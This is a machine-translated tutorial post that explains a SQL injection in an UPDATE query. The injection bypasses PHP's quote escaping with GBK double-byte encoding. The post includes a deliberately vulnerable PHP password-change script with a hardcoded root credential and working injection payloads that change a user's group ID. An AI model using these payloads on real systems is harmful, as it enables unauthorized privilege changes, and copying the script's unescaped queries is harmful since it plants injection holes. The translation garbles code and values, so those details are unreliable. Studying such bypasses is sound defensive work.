Another example of double byte encoding escaping from single quotes in PHP: SQL UPDATE Injection

The principle is the same as "using double-byte encoding to break through the single-byte escape limit of PHP for SQL injection.

View plaincopy to clipboardprint?
<? Php
 
// By redice 2010.10.21
 
// Connect to the mysql database
$ Conn = 0;
$ Conn = mysql_connect ("localhost", "root", "redice2009 ");
If (! $ Conn)
{
Die ("cannot open the database connection, error:". mysql_error ());
}
 
// Select a database
Mysql_select_db ("test", $ conn );
 
// Set the character set of mysql output data
Mysql_query ("set names 'gbk '");
 
 
 
// Password Modification Process
 
$ Newpass = $ _ REQUEST [p];
 
 
$ SQL = "update user set pass = '$ newpass' where name = 'redice '";
Echo "executed query =". $ SQL. "</br> ";
 
If (! Mysql_query ($ SQL, $ conn ))
{

Echo mysql_error ();
}
 
?>

<? Php

// By redice 2010.10.21

// Connect to the mysql database
$ Conn = 0;
$ Conn = mysql_connect ("localhost", "root", "redice2009 ");
If (! $ Conn)
{
Die ("cannot open the database connection, error:". mysql_error ());
}

// Select a database
Mysql_select_db ("test", $ conn );

// Set the character set of mysql output data
Mysql_query ("set names 'gbk '");

 

// Password Modification Process

$ Newpass = $ _ REQUEST [p];

$ SQL = "update user set pass = '$ newpass' where name = 'redice '";
Echo "executed query =". $ SQL. "</br> ";

If (! Mysql_query ($ SQL, $ conn ))
{

Echo mysql_error ();
}

?>

 

(1) When gpc is off.

Submit p = 123 ', groupid = '1 SQL statement:

Update user set pass = '000000', groupid = '1' where name = 'redice'

(2) In the case of gpc = on.

Using GBK Double Byte encoding, you can bypass the single quotation mark escape.

The analysis is as follows:

Submit p = 123% d5 ', groupid = 1 where id = 1% 23

The url encoded by the browser is:

P = 123% d5 % 27, groupid = 1% 20 where % 20id = 1% 23

After the PHP url is decoded, it is:

P = 1230xd50x27, groupid = 10x20where0x20id = 10x23

After escaping through PHP, It is (insert 0x5c before 0x27 ):

P = 1230xd50x5c0x27, groupid = 10x20where0x20id = 10x23

Since the server uses gbk encoding to connect to the database (set names 'gbk'), the above byte sequence is understood by MySQL as a gbk character as follows:

P = 123 comment ', groupid = 1 where id = 1 #

PS: 0xd50x5c corresponds to the Chinese character "escape", which consumes single quotation marks and bypasses escape.

The final SQL statement is changed:

Update user set pass = '19901', groupid = 1 where id = 1 # 'where name = 'redic'

PS: % 23 is decoded as #, which is used to annotate the SQL statement to conform to the syntax specification.